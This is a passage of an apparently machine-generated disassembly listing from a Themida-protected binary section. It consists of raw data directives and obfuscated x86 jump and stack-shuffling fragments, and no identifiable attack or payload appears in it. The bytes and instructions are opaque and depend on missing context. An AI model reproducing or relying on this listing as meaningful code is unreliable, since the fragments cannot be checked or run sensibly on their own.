0E9241C87h, 118h, 4EC81h, 1C890000h dd 0F3BD5524h, 893C9649h, 17A7E9EBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_582CEA: ; CODE XREF: Themida_:005855C0j push ebp jmp loc_58CB48 ; --------------------------------------------------------------------------- loc_582CF0: ; CODE XREF: Themida_:005823A3j push ecx push eax mov eax, 4A026BDDh mov ecx, eax mov eax, [esp] push ecx mov ecx, esp add ecx, 4 push eax mov eax, 4EEA3BD8h dec eax not eax jmp loc_58CC68 ; --------------------------------------------------------------------------- db 87h dd 248B243Ch, 24D36624h, 0A6E99C24h, 5CFFFFEBh, 0B8240489h dd 2, 47E7C281h, 0C2013E87h, 47E7EA81h, 34FF3E87h, 634CE924h dd 0E9400000h, 0AF8Ch, 240C8B66h, 37DA68h, 0EE9FE900h dd 0C781FFFFh, 4, 8704EF83h, 0E95C243Ch, 0FFFFFBBAh, 94BFE952h dd 48F0000h, 24248B24h, 4C181h, 9FE90000h, 4600003Fh, 67FBEE81h dd 0EEC170F7h, 0E68107h, 0E914DB72h, 7ADEh, 0ED81C529h dd 0F935E9Ah, 1E95E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_582DA2: ; CODE XREF: Themida_:00584BB3j pop edx sub eax, 4 push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] jmp loc_58A79F ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 89243489h, 0EBC8E9DEh, 7FB8FFFFh, 313D0017h, 9BD0E9C2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_582DD2: ; CODE XREF: Themida_:00582353j add ebp, 4 jmp loc_58A154 ; --------------------------------------------------------------------------- loc_582DDD: ; CODE XREF: Themida_:00581B8Fj shr ebx, 5 xor ebx, 117D6552h push edx jmp loc_581E51 ; --------------------------------------------------------------------------- dd 1C87D3F7h, 0C1815924h, 54191C5Dh, 9DF4E9h, 88E68800h dd 1037E9F3h, 4CBA0000h, 683B1950h, 4148h, 0B8240489h dd 193C7EFEh, 5258C209h, 8B2404FFh, 0C4812414h, 4, 5C7FE9h db 0 ; --------------------------------------------------------------------------- loc_582E2D: ; CODE XREF: Themida_:005837F9j mov ebp, [esp] jmp loc_583ABB ; --------------------------------------------------------------------------- loc_582E35: ; CODE XREF: Themida_:00585C57j add ebp, ecx pop ecx add ebp, 2 xchg ebp, [esp] pop esp push ebx push 2CEDh mov [esp], ecx mov ch, al jmp loc_58561D ; --------------------------------------------------------------------------- aIT_sK db '\‰<$T_é]K',0 align 2 dw 0D701h dd 243C875Ah, 4C3815Ch, 0E9000000h, 4E9Bh, 2156E9ACh, 295A0000h dd 4DBFE9C8h, 2CB80000h, 0BD20703Fh, 3EC8358Ch, 9ADEE9h dd 48C7BD00h, 0DDF701B2h, 0C6F6C581h, 0EAE96132h, 66000076h dd 0B6241489h, 4BEFE91Bh, 67050000h, 6820371Fh, 7098h dd 0BE243489h, 1E5047AAh, 7C3EBA52h, 0D0016CB8h, 6571E95Ah dd 0CD810000h, 67DA4631h, 513BE9h, 48F5E00h, 80E95C24h dd 5600003Fh, 2C2728BEh, 81DEF730h, 0F66FA9C6h, 0FDEE816Ah dd 29D341E4h, 5D71E9F7h, 0ED810000h, 5E5D1395h, 8324048Bh dd 0C58304C4h, 929CE902h, 51660000h, 0D1F6D988h, 5966CB88h dd 44B5E9h, 240C8900h, 8CD3E9h, 4B800h, 0C2810000h, 3023444Ah dd 0A0E9h, 81E18900h, 4C1h, 4C18100h, 87000000h, 815C240Ch dd 4ECh, 24148900h, 5B24E950h, 23680000h, 5E2E2E6Ch, 0BD5EF389h dd 50EC4A1Bh, 455BDD31h, 79FDED81h, 0EDC17D5Dh, 7DC58103h dd 0E9FFD36Ah, 3BDBh, 0E8E9E828h, 500007Eh, 1F7C0297h dd 8324148Bh, 0EC8104C4h, 4, 0BE243489h, 2, 875EF001h dd 7CE92404h, 1000036h, 2434FFF9h, 7E22E95Fh, 575B0000h dd 4BFh, 5FFE0100h, 5C243487h, 7BFEE9h, 5ADE0400h, 0FE74B551h dd 0EB652C5h, 449CE9h, 68C22900h, 489Eh, 1C62E9h, 6FC2D00h dd 0C601B9C6h, 582434FFh, 4C481h, 0F7010000h, 6A32685Eh dd 0C890000h, 2B924h, 0CF010000h, 6EF66859h, 3C890000h dd 0AF38E924h, 51660000h, 0AD3EE9h, 0FFFE0100h, 835F2434h dd 0C68104C4h, 4, 6843E9h, 0F65B6600h, 0F6D6F6DEh, 0FBC680DEh dd 0F028DE2Ch, 0FFFF84E9h, 24348BFFh, 515B5453h, 706FBD55h dd 0CD812DF2h, 3A14580Fh, 4505E5C1h, 8107EDC1h, 47710EC5h dd 0DFC58113h, 89F7DD0Dh, 242C8BE9h, 4C481h, 0C9810000h dd 258359B5h, 6378C181h, 99E9646Ch, 0ACFFFFF5h, 0E568D830h dd 89000069h, 0C4E92414h, 31000018h, 0C33240Ch, 1C895C24h dd 3E966824h, 4890000h, 1C0BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5830A6: ; CODE XREF: Themida_:005828EAj sub eax, edi jmp loc_58932A ; --------------------------------------------------------------------------- db 5Bh, 0C1h, 0E1h dd 4EC8105h, 0E9000000h, 9F64h, 485C68h, 241C8900h, 4C5957BBh dd 0C14B4B63h, 0E94305EBh, 0FFFFEC0Dh, 461E0D97h, 0EC810747h dd 4, 8F49E9h, 4C48300h, 8E9F001h, 520000A2h, 0CF07D0BAh dd 8AC2815Ah, 0E9185F37h, 652h ; --------------------------------------------------------------------------- loc_583100: ; CODE XREF: Themida_:00586F9Dj mov eax, 36480902h inc eax and eax, 4A0B2D9Ah dec eax jmp loc_58AB55 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 4EC8324h, 81240C89h, 4ECh, 24248900h, 92A3E9h, 240C8B00h dd 0FFEA89E9h, 0E80158FFh, 3135E9h, 80CA8100h, 423C6E2Ah dd 16ABBD55h, 81451BF0h, 0B9F6B0EDh, 5DEA2902h, 815AD101h dd 686B4DC6h, 852FE968h, 0D2F60000h, 4E1B6866h, 240C8966h dd 0EA3096B5h, 0AE9DE9h, 0B2B65200h, 0EE80D6F6h, 5AF13061h dd 50B9E980h, 0C1086DB0h, 0FFF399E9h, 35EB80FFh, 0C380D328h dd 24148B35h, 6AD0E9h db 0 ; --------------------------------------------------------------------------- loc_583199: ; CODE XREF: Themida_:00584E85j xchg ecx, ebx inc ecx jmp loc_5839BA ; --------------------------------------------------------------------------- db 55h, 0BDh, 0D4h dd 8108A34Fh, 2AF6DEC5h, 0FFED8366h, 7684ED81h, 0F58131FCh dd 2BB93DCEh, 1223C581h, 0EE01E897h, 0D6BA525Dh, 534DF230h dd 0D13B2FBBh, 4EBC152h, 5076E9h, 2BB5300h, 29000000h dd 951E9D8h, 28F0000h, 0FFE6DCE9h, 47E6BBFFh, 0C3814E10h dd 2A5CDBDCh, 7CE9D901h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5831FF: ; CODE XREF: Themida_:005819B4j push esi mov esi, 7B7C738Fh sub [esp+0Ch], esi pop esi pop edx mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp pop dword ptr [edi+24h] loc_583221: ; CODE XREF: Themida_:0058C8F9j sub esp, 4 jmp loc_58C31F ; --------------------------------------------------------------------------- aSai db 9,'Îéa›',0 dw 8900h dd 6857240Ch, 6ED7090Ah, 0F8C7815Fh, 899128F6h, 0D5E95FF9h dd 5F00003Fh, 5B46E9h, 24248B00h, 0FFE670E9h, 83F181FFh dd 0E9B958B8h, 718Bh, 0E9CA015Dh, 7807h, 2EEAE95Dh, 0EC810000h dd 4, 0E9242489h, 571Ch, 35E6E952h, 0C2810000h, 4, 81E28952h dd 4C2h, 4EA8100h, 87000000h, 248B2414h, 243C8924h, 5779E9h dd 2972D00h, 0D0011F7Ch, 0FFFCCAE9h, 5E7C0FFh, 0FA885266h dd 0D788D2F6h, 0E7C05A66h, 0F6CFFE08h, 5EB652D7h, 6BD7E9h dd 4C48300h, 2474FF56h, 24348B04h, 8F04C483h, 0A6E92404h dd 5E00004Bh, 4C681h, 0C6830000h, 24348704h, 8124248Bh dd 7D33CCF1h, 4EC8166h, 89000000h, 64682414h, 89000061h dd 468241Ch, 8B13EE7Bh, 0C483241Ch, 3BA5204h, 0E913EE7Bh dd 0AF3h, 4EC81h, 4890000h, 269E924h, 0E5D00000h, 50E9C580h dd 0AF34C6B0h, 0E0E94134h, 83000030h, 148904ECh, 81E28924h dd 4C2h, 4C28100h, 87000000h, 895C2414h, 2434FFFAh, 7170E9h dd 4C58100h, 81000000h, 2C5h, 74FF5500h, 34FF0424h, 0E3E95D24h dd 6600008Ah, 74FF6655h, 8B660224h, 0C481242Ch, 2, 24048F66h dd 87665566h, 0F7662414h, 143166D2h, 14336624h, 14316624h dd 2C8B6624h, 0E0895024h, 230DE9h, 12E28100h, 0C13CDB63h dd 0E6E908E2h db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5833C3: ; CODE XREF: Themida_:0058A2F6j pop esp jmp loc_58D3D8 ; --------------------------------------------------------------------------- db 0BAh, 0FAh, 66h aJSok db '†|éŽK',0 dw 5100h dd 0C181E189h, 4, 8704E983h, 0E95C240Ch, 19D4h ; --------------------------------------------------------------------------- loc_5833E8: ; CODE XREF: Themida_:0058BAC3j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5833ED: ; CODE XREF: Themida_:00586818j mov esi, 6677532Bh xor edx, esi pop esi mov edi, [esp] jmp loc_587B0D ; --------------------------------------------------------------------------- db 81h, 0C7h, 87h dd 81BAF6D3h, 0D8370FC1h, 53F9012Bh, 0D8370FBBh, 8BD9292Bh dd 0C481241Ch, 4, 83243C8Bh, 0C8704C4h, 0B60F5C24h, 8734FFC0h dd 77E868h, 240C8900h, 274EBA52h, 47E95114h, 8A000032h dd 0C4832434h, 80CEFE04h, 5166B7F6h, 35E9FEB1h, 0FF00008Eh dd 669D1C77h, 241CD259h, 8AC9E99Ch, 71BE0000h, 0F762D736h dd 81DEF7DEh, 8869DCE6h, 3EEC116h, 0FBFAC681h, 0F701FFAFh dd 8B2434FFh, 0C4832434h, 4C48104h, 0E9000000h, 0A546h dd 4240481h, 8B000000h, 0C483242Ch, 0DABA5204h, 0F71F9027h dd 8EC281D2h, 0E97B7D02h, 8722h ; --------------------------------------------------------------------------- loc_5834B0: ; CODE XREF: Themida_:00583B32j push esi sub esp, 4 mov [esp], eax push 316E5DECh pop eax add eax, 0CE91A216h mov esi, eax jmp loc_583DC8 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 8F000000h, 665C2404h, 0E924048Bh, 3750h, 43BB68h, 243C8900h dd 0E952E789h, 0FFFFF045h, 9C2424D2h, 0FFE3D4E9h, 1F1D68FFh dd 0F75B71B3h, 0AEC381DBh, 0E99A8845h, 3090h, 5B2434FFh dd 81E28952h, 4C2h, 4BD5500h, 1000000h, 0EAC1E9EAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_583522: ; CODE XREF: Themida_:0058C01Dj pop esp pop dword ptr [esp] pop esp mov ax, [esp] jmp loc_58DE8C ; --------------------------------------------------------------------------- loc_583530: ; CODE XREF: Themida_:00587DFEj add esp, 4 loc_583536: ; CODE XREF: Themida_:00581AAAj ; Themida_:00581C8Dj push dword ptr [edi+24h] sub dword ptr [esp], 49A05D3Eh mov ecx, [esp] add esp, 4 push esi push edi jmp loc_58E004 ; --------------------------------------------------------------------------- db 5, 49h, 6Fh dd 5E5B1157h, 96ADE955h, 89660000h, 47E9241Ch db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_583563: ; CODE XREF: Themida_:00581CAAj pop eax push edx mov edx, 0B6C31h jmp loc_589EDE ; --------------------------------------------------------------------------- db 29h dd 24348BF2h, 4C481h, 14870000h, 24248B24h, 0FFF230E9h dd 0D0F797FFh, 7BB95197h, 4975F839h, 2366C181h, 1AE94B24h dd 0B8000069h, 7013278h, 642BE9h, 0FFE98300h, 26BE68h dd 242C8900h, 680FC4BDh, 0E9E9312Dh, 8D40h, 8107EAC1h dd 4904E7E2h, 8AEA8120h, 0E9FE68EEh, 7D34h, 5704C483h dd 0A3495D68h, 0E7C15F35h, 0DFC78103h, 0E96FE64Eh, 0FFFFEFE8h dd 533C77FFh, 48E9E389h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5835F3: ; CODE XREF: Themida_:00585028j sub esp, 4 mov [esp], ebx push ebp jmp loc_582666 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFE2C5h, 0E924048Fh, 94B0h ; --------------------------------------------------------------------------- loc_58360C: ; CODE XREF: Themida_:0058C029j add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_58D7EC ; --------------------------------------------------------------------------- dd 66F03166h, 0BC68665Eh, 1C89663Eh, 0A2BB6624h, 55DAE91Ah dd 0F7010000h, 59C6E95Eh, 0F1810000h, 700E4F7Eh, 5059CA31h dd 0FFF779E9h, 2434FFFFh, 5437E95Eh, 5A660000h, 8CE9F028h dd 87000023h, 248B2434h, 0C896624h, 0E25BE924h, 4481FFFFh dd 729C0424h, 44014487h, 70E90424h, 6600008Ch, 5624048Bh dd 0C681E689h, 4, 6CDAE955h, 0C4810000h, 4, 0BFE9C300h dd 8900004Ch, 0F4BA2414h, 8119376Bh, 1D20C2F2h, 0BE565303h dd 0F44324Ch, 0EEC1D6F7h, 4CE8105h, 5706E949h, 0F381AFBFh dd 0E9FE014Bh, 6C8Dh, 28E95266h db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5836D3: ; CODE XREF: Themida_:00589F72j or ebx, edi pop edi not ebx neg ebx add ebx, 0C4929A1Eh sub eax, 50AB2F9Ch add eax, 18494DAEh add eax, ebx sub eax, 18494DAEh jmp loc_581C40 ; --------------------------------------------------------------------------- dw 0E829h dd 79EA815Dh, 0E9713B4Ah, 4EFCh, 4BFh, 613AE900h, 0E95D0000h dd 2AA5h, 8124148Bh, 4C4h, 0F00400h, 4F02CD8h, 8D2CE9C1h dd 3C8B0000h, 4C48324h, 26CFC281h, 8405CA0Ch, 0E97A4768h dd 0F2Ah, 5D0B85BDh, 99C58102h, 0D138BF4Ch, 52B7E9E5h dd 0DAF70000h, 0EA81DAF7h, 3CBD258Bh, 4C70C381h, 32E91AE5h dd 8300003Ah, 0FF5104C1h, 59042474h, 0E924048Fh, 0FFFFF418h dd 3B80C581h, 0C58121E6h, 106F5797h, 0FFFFED81h, 0CD81FFFFh dd 3BF6703Eh, 6804E5C1h, 6FA8h, 0B8240489h, 358C235Bh dd 7A28E9h, 48B6600h, 5A545224h, 292268h, 241C8900h, 391E950h dd 5DB20000h, 0E8B05066h, 9EB0E9h db 0 ; --------------------------------------------------------------------------- loc_5837C5: ; CODE XREF: Themida_:00587157j add ecx, edi jmp loc_5859C4 ; --------------------------------------------------------------------------- dd 2B88ED81h, 42E911A0h, 29000095h, 0B8685BDEh, 0E900004Eh dd 2CE5h, 405E089h, 83000000h, 48704C0h, 9DE95C24h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5837F7: ; CODE XREF: Themida_:00586ED8j sub eax, ebp jmp loc_582E2D ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 57000000h, 0F1EE9h, 1D21BB00h, 0B9516764h dd 29EB538Dh, 0C159CB31h, 0C38107EBh, 23C7486Dh, 2EFBEB81h dd 0D831B516h, 0A0A62D5Bh, 0C101C1D6h, 5C1CE9h, 4E9C000h dd 0A175E9h db 0 ; --------------------------------------------------------------------------- loc_583841: ; CODE XREF: Themida_:00584024j sub edx, 65C4721Fh push ebx jmp loc_588F21 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 6824048Bh, 4752h, 1E07E9h, 4C28100h, 83000000h, 148704C2h dd 0A8E95C24h, 29FFFFE4h, 1A685EF5h, 0E9000044h, 1716h dd 983802BEh, 0DA46BD1Bh, 0F501EE71h, 3FBB535Eh, 8125597Ch dd 0AE6DB8F3h, 0E9DBF72Ch, 4B5Ah, 322B6857h, 315F40B9h dd 2434FFF8h, 279BE9h, 24248B00h, 97AE9h, 4C38100h, 83000000h dd 1C3302C3h, 241C3124h, 5C241C33h, 7C7FE9h, 4EC8100h dd 89000000h, 4832424h, 148B0424h, 6AF6E924h, 51AC0000h dd 0F180FAB1h, 59C8005Bh, 0FBE9582Ch, 0B900004Eh, 31BE6307h dd 0C159CD89h, 0E1E907EDh db 81h, 2 dup(0) ; --------------------------------------------------------------------------- loc_583903: ; CODE XREF: Themida_:0058B961j pop ebx pop ecx mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_58BAC2 ; --------------------------------------------------------------------------- dd 4EB81h, 1C330000h, 241C3124h, 0E9241C33h, 9085h ; --------------------------------------------------------------------------- loc_583934: ; CODE XREF: Themida_:0058CBD4j add eax, 4 add eax, 4 jmp loc_5896E0 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFDF81h, 0BC2815Eh, 813A954Bh, 65F4F3C2h, 6FC78103h dd 0E9199B2Fh, 31ECh, 553877FFh, 0AC513DBDh, 0BA524561h dd 0AEB4D478h, 47C4ED81h, 0D5012202h, 47C4C581h, 0B6E92202h dd 45000003h, 0FD81C581h, 0E929FAFFh, 240C335Dh, 33240C31h dd 248B240Ch, 0C896624h, 6CD8E924h, 12B90000h, 217A0665h dd 28E959CEh, 83000021h, 895104C4h, 9B0CE9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5839BA: ; CODE XREF: Themida_:0058319Cj xchg ecx, ebx sub ebx, 6C015029h add edx, ebx pop ebx jmp loc_583D2C ; --------------------------------------------------------------------------- dw 8952h dd 4B850E2h, 81000000h, 0CE4798EAh, 81C2017Bh, 0CE4798C2h dd 39A6E97Bh, 4810000h, 424h, 0BF575D00h, 662F1648h, 0E7C1D7F7h dd 9CE4E906h, 3C890000h, 81E78924h, 4C7h, 4685200h, 5A000000h dd 0FFF445E9h db 0FFh ; --------------------------------------------------------------------------- loc_583A15: ; CODE XREF: Themida_:005841F9j mov ebx, esp jmp loc_588728 ; --------------------------------------------------------------------------- dd 5E545658h, 4C681h, 0EC830000h, 243C8904h, 0FFFCD3E9h dd 0AE95AFFh, 0B600008Ch, 68EE80C4h, 805AF528h, 2DE97EF5h dd 5EFFFFECh, 2C8BEE29h, 4C48324h, 62CD6850h, 815853AAh dd 4ECh, 24148900h, 785F68h, 24348900h, 24348150h, 37D47135h dd 8124348Bh, 4C4h, 35F68100h, 5337D471h, 0DA89F389h, 0D3895E5Bh dd 8324148Bh, 48B04C4h, 4C48324h, 62CDEB81h, 0EC8353AAh dd 24048904h, 964AE9h, 5CBBBB00h, 0EB810FEFh, 63383A33h dd 88FCB81h, 87E96E60h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_583ABB: ; CODE XREF: Themida_:00582E30j push ebx jmp loc_58BB24 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 60D1E9h, 81E38900h, 4C3h, 4EC8100h, 89000000h, 4B9240Ch dd 1000000h, 240C8BCBh, 3304C483h, 1C31241Ch, 241C3324h dd 6824248Bh, 6534h, 0FFF41CE9h db 0FFh ; --------------------------------------------------------------------------- loc_583AFD: ; CODE XREF: Themida_:00585EFCj push ebx push dword ptr [esp+4] pop ebx jmp loc_5829EB ; --------------------------------------------------------------------------- dd 4C4835Ah, 10D168h, 24348900h, 0F02D0568h, 0F4685E38h dd 89000022h, 9C682414h, 0E97CD25Bh, 1556h ; --------------------------------------------------------------------------- loc_583B2C: ; CODE XREF: Themida_:0058DE96j add ebp, 4 jmp loc_5834B0 ; --------------------------------------------------------------------------- db 5Bh dd 8B240487h, 0B1E92424h, 31000078h, 28E9242Ch, 0B8000043h dd 619E46E9h, 5007B835h, 6BB60D4Bh, 0E2E96A27h, 0B0000072h dd 0F8B4506Ch, 0E3300BB3h, 58C33058h, 60E94AB5h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_583B73: ; CODE XREF: Themida_:00585030j mov edx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push ebp jmp loc_58B73E ; --------------------------------------------------------------------------- dw 0B951h dd 662330ADh, 7B46E981h, 0F18157A4h, 1497338Bh, 3F7EE9h dd 5E08900h, 4, 405h, 24048700h, 0D1215B5Ch, 8124148Bh dd 4C4h, 0E9C100h, 8FC5E9h, 24348B00h, 81E68956h, 4C6h dd 4C68300h, 5C243487h, 0F96E955h, 0EA810000h, 667725F2h dd 9B8AE9h, 32AE2500h, 0A6057E9Ch, 0E942DB19h, 0E72h ; --------------------------------------------------------------------------- loc_583BF8: ; CODE XREF: Themida_:00588F3Dj sub edx, ebx pop ebx jmp loc_58723C ; --------------------------------------------------------------------------- dd 0FF59E950h, 7668FFFFh, 89000056h, 1682414h, 5A000000h dd 0E91C5709h, 1AFEh, 0E8E9E801h, 5100005Ch, 0EE4C3168h dd 4E95922h, 81000052h, 5F5BF6C5h, 5DEE0117h, 35C5E9h db 0 ; --------------------------------------------------------------------------- loc_583C3D: ; CODE XREF: Themida_:0058C84Dj movzx cx, ah push edx sub esp, 4 mov [esp], esp jmp loc_5893B0 ; --------------------------------------------------------------------------- db 5Ch, 89h, 2Ch dd 71F7E924h, 0EF830000h, 9373E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_583C5E: ; CODE XREF: Themida_:0058C2BFj push 57C8h mov [esp], eax jmp loc_58C7FF ; --------------------------------------------------------------------------- aIuyh db 'ˆîYh',0 dd 0E9000000h, 465Bh, 0E580C5FEh, 72A2E99Dh, 77FF0000h dd 58669D1Ch, 24041966h, 0DC37E99Ch, 0D6F7FFFFh, 282E681h dd 0EE812FC2h, 25BFFFFEh, 348BF701h, 29E95224h, 8900004Ah dd 4B850E1h, 0E9000000h, 425h, 4C581h, 0FF550000h, 0E9042474h dd 7CD2h ; --------------------------------------------------------------------------- loc_583CC8: ; CODE XREF: Themida_:0058281Cj push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_581FCB ; --------------------------------------------------------------------------- dw 815Eh dd 4C4h, 53BD5500h, 0C11F5051h, 0C58106EDh, 3F622E0Ah dd 7EB4CD81h, 0BB531ECAh, 3A102B11h, 0FE56EB81h, 0DD31C4FBh dd 3926E9h, 24048B00h, 4C483h, 525351C3h, 0D78877B2h, 5BFD885Ah dd 52F6C580h, 8014B353h, 0DA88B2EBh, 0E9241C8Bh, 7C1Dh ; --------------------------------------------------------------------------- loc_583D2C: ; CODE XREF: Themida_:005839C5j push eax mov eax, 3D0B5ECBh xor edx, eax jmp loc_58BB39 ; --------------------------------------------------------------------------- db 5Ah, 29h, 6Ch dd 2C8B0424h, 4C48124h, 8B000000h, 0C483240Ch, 0B8505504h dd 6973735Ch, 48BC589h, 0E6895624h, 4C681h, 0BF570000h dd 4, 0E95FFE01h, 825Dh ; --------------------------------------------------------------------------- loc_583D70: ; CODE XREF: Themida_:00587242j sub edx, ebp sub edx, 2FBE53FCh jmp loc_58C588 ; --------------------------------------------------------------------------- db 89h, 0D5h, 8Bh dd 0C4812414h, 4, 0C15DE921h, 0F1680AE9h, 8900004Ch, 0DF89243Ch dd 6CDEE9h, 14335F00h, 24143124h, 8B241433h, 0F7662424h dd 996866E9h, 14896623h, 9C506624h, 0FFDB0CE9h, 160105FFh dd 0E95A1AC5h, 0FFFFDFE8h ; --------------------------------------------------------------------------- loc_583DC8: ; CODE XREF: Themida_:005834C4j push dword ptr [esp] jmp loc_589656 ; --------------------------------------------------------------------------- dd 240C8B66h, 8904EC83h, 0E589242Ch, 4C581h, 0BE560000h dd 73D709Bh, 1A58E952h, 0FA290000h, 0E9243C8Bh, 5F94h dd 0CF80F3B7h, 62E95224h, 5AFFFFDDh, 2EC81h, 89660000h dd 4AB7241Ch, 65E9642Ch, 81000012h, 284BCBC3h, 81D32901h dd 284BCBEBh, 8FC1E901h, 0E8C10000h, 0FDB7E906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_583E32: ; CODE XREF: Themida_:00587DDEj add ebp, 4 jmp loc_586FA2 ; --------------------------------------------------------------------------- db 5Ah, 0F6h, 0D3h aQseo db 'Qé…Ž',0 align 2 dw 0BF57h dd 4, 0CAE9FD01h, 0BD000063h, 1F024150h, 5332BD55h, 3E93B49h dd 0F7000099h, 0BB534DD5h, 606C3FC7h, 0D00DEB81h, 0C5819589h dd 6AEF4D39h, 0ED81DD01h, 6AEF4D39h, 0E321E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_583E86: ; CODE XREF: Themida_:0058C6DEj push ebp mov ebp, 79325844h push edx mov edx, 44D01C1Ah not edx not edx jmp loc_58A54F ; --------------------------------------------------------------------------- db 81h dd 330DC9E7h, 0FCEF8166h, 10612FFh, 0E9505FFDh, 9EF3h dd 0EADEE81h, 0F6810D1Bh, 6F034CF6h, 7A48EF81h, 0F7011B1Eh dd 7A48C781h, 555E1B1Eh, 3B1302BDh, 0F7DDF776h, 8CCD81DDh dd 0C104423Fh, 0ED8106EDh, 72E86AA9h, 8253ED81h, 0C7818EF1h dd 644616D3h, 810BE9h, 3EEC100h, 0C106EEC1h, 0B85008EEh dd 6BF201F1h, 4004E0C1h, 50CE9h, 0BA525000h, 625F00B4h dd 7BE1E9h, 241C8B00h, 4C481h, 0F3810000h, 93E59831h, 15BD829h dd 0F9568D8h, 3C890000h, 8CE9E924h, 0C3830000h, 241C3304h dd 0E9241C31h, 779h, 68240C8Bh, 626Ch, 8773E9h, 24043300h dd 0C124248Bh, 56E906E9h, 33FFFFEEh, 248B2414h, 4C48324h dd 9C240429h, 0FFD954E9h, 535D54FFh, 4874BF57h, 0D4E91377h dd 83000045h, 0E6E904C4h, 81000077h, 4ECh, 24348900h, 0E953E689h dd 5325h, 3EEC15Eh, 0F703E6C1h, 8DEE81D6h, 31FF9262h, 0FA95E9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_583FB2: ; CODE XREF: Themida_:0058C1DCj pop dword ptr [esp] pop esp push ecx mov ecx, 0FA5E28h add ecx, 1 shr ecx, 5 sub ecx, 0D845CDD6h xor eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push dword ptr [edi+eax*4] add dword ptr [esp], 13454081h jmp loc_58227A ; --------------------------------------------------------------------------- db 5Ah, 1, 0FAh dd offset dword_506E5C+0C8Dh dd 0F2815B00h, 7176452Dh, 0D1E9h db 0 ; --------------------------------------------------------------------------- loc_583FF9: ; CODE XREF: Themida_:00585518j xor ebp, [esp] pop esp push ebx push esi mov esi, 56294CE2h push ebp jmp loc_58D165 ; --------------------------------------------------------------------------- dw 0E3D0h dd 0E990F380h, 941Eh ; --------------------------------------------------------------------------- loc_584014: ; CODE XREF: Themida_:0058D279j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push ebp mov ebp, 49714625h jmp loc_583841 ; --------------------------------------------------------------------------- db 81h, 0F5h, 59h dd 8159562Fh, 16A14FEDh, 0FFEB81D3h, 81097337h, 8820CDEBh dd 81EB016Eh, 8820CDC3h, 80BE566Eh, 0F761094Ch, 4B4BE9DEh dd 3BB60000h, 0FFEFB1E9h, 48F5EFFh, 6C685C24h, 0E900003Dh dd 1A81h, 24048F5Eh, 6624248Bh, 0E9241489h, 64F5h, 519FC780h dd 0EA88FD88h, 241C8B59h, 81E28952h, 4C2h, 4C28100h, 87000000h dd 0C05C2414h, 895103EAh, 36BF57E1h, 814B422Eh, 946D42E7h dd 36D8E943h, 14870000h, 24248B24h, 9C2424D3h, 0FFD808E9h db 0FFh ; --------------------------------------------------------------------------- loc_5840C1: ; CODE XREF: Themida_:00585343j pop ebp add ebx, esi pop esi jmp loc_582A72 ; --------------------------------------------------------------------------- dw 0E2C1h dd 14F75207h, 0EC835A24h, 243C8904h, 4EA5E9h, 58C10100h dd 3F62BA52h, 0E2C15C28h, 19F28106h, 0E92D4934h, 7Ch, 59EF3058h dd 0F603EFC0h, 0A6B450D7h, 0F606E4C0h, 6C3FE9DCh, 875F0000h dd 55E92404h, 5300004Eh, 0BF57E389h, 4, 815FFB01h, 2C3h dd 241C8700h, 0C0B70F5Ch, 409268h, 24048900h, 597368h dd 24248900h, 4240481h, 0E9000000h, 5AE9h, 78F0E957h, 74FF0000h dd 8F5E0424h, 0E95C2404h, 5F1Dh ; --------------------------------------------------------------------------- loc_58415C: ; CODE XREF: Themida_:00587A68j pop edi dec edi xchg edx, edi xchg ecx, edx not ecx xchg ecx, edx xchg edx, edi sub esp, 4 jmp loc_585C94 ; --------------------------------------------------------------------------- dd 555DE281h, 0E2C15290h, 50685706h, 5F557E7Fh, 4D56E947h dd 0C3810000h, 4, 100968h, 240C8900h, 13DE9h db 0 ; --------------------------------------------------------------------------- loc_584199: ; CODE XREF: Themida_:0058C80Cj add edx, eax mov [edx], bh jmp loc_584A36 ; --------------------------------------------------------------------------- dw 3433h dd 24343124h, 5C243433h, 3304EE83h, 34312434h, 24343324h dd 8924248Bh, 6E9240Ch db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp] jmp loc_582399 ; --------------------------------------------------------------------------- aS4s db '^é4s',0 db 0 ; --------------------------------------------------------------------------- loc_5841E3: ; CODE XREF: Themida_:00581ABEj mov eax, [esp] push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx jmp loc_583A15 ; --------------------------------------------------------------------------- dw 5057h dd 2B8h, 0D907E900h, 0D588FFFFh, 8BEC885Ah, 